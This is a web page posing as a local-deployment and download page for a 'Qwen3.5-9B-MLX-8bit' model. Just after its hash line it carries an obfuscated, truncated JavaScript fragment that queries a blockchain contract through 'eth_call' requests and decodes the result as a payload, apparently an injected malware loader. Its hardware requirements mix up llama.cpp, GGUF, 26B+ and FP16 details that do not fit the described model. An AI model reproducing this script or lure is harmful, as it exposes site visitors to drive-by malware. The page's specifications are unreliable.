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Qwen3.5-9B-MLX-8bit

Qwen3.5-9B-MLX-8bit

Deploying this model locally is quickest when done via Docker.

Please follow the instructions listed below to get started.

The loader auto-caches the model archive (several GBs included).

The deployment tool scans your environment and automatically chooses the ideal parameters for your OS.

📦 Hash-sum → c952335271ab6bf944a7d5339602ad29 | 📌 Updated on 2026-06-24
YH5BAEAAAAALAAAAAABAAEAAAIBRAA7Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i



  • CPU: AVX2/AVX-512 instruction set required for llama.cpp
  • RAM: 32 GB highly recommended for 26B+ GGUF models
  • Disk Space:70 GB free space for full FP16 weights storage
  • Graphic Processor: hardware Tensor Cores support needed for FP16 acceleration

The Qwen3.5-9B-MLX-8bit model delivers high‑performance language understanding with a balanced trade‑off between accuracy and computational efficiency. Built on the MLX framework, it leverages 8‑bit quantization to reduce memory footprint while preserving core linguistic capabilities. With 9 billion parameters and a context window of up to 8K tokens, the model can handle complex reasoning tasks and long‑form generation. Its optimized architecture enables fast inference on consumer‑grade hardware, making advanced AI accessible without specialized GPUs. The model has been fine‑tuned on diverse corpora, ensuring robust performance across multilingual benchmarks and domain‑specific applications. Developers benefit from its open‑source nature, allowing seamless integration into production pipelines and custom AI solutions.

Spec Value
Model Name Qwen3.5-9B-MLX-8bit
Parameter Count 9 B
Quantization 8‑bit
Context Length 8K tokens
Framework MLX
License Open Source
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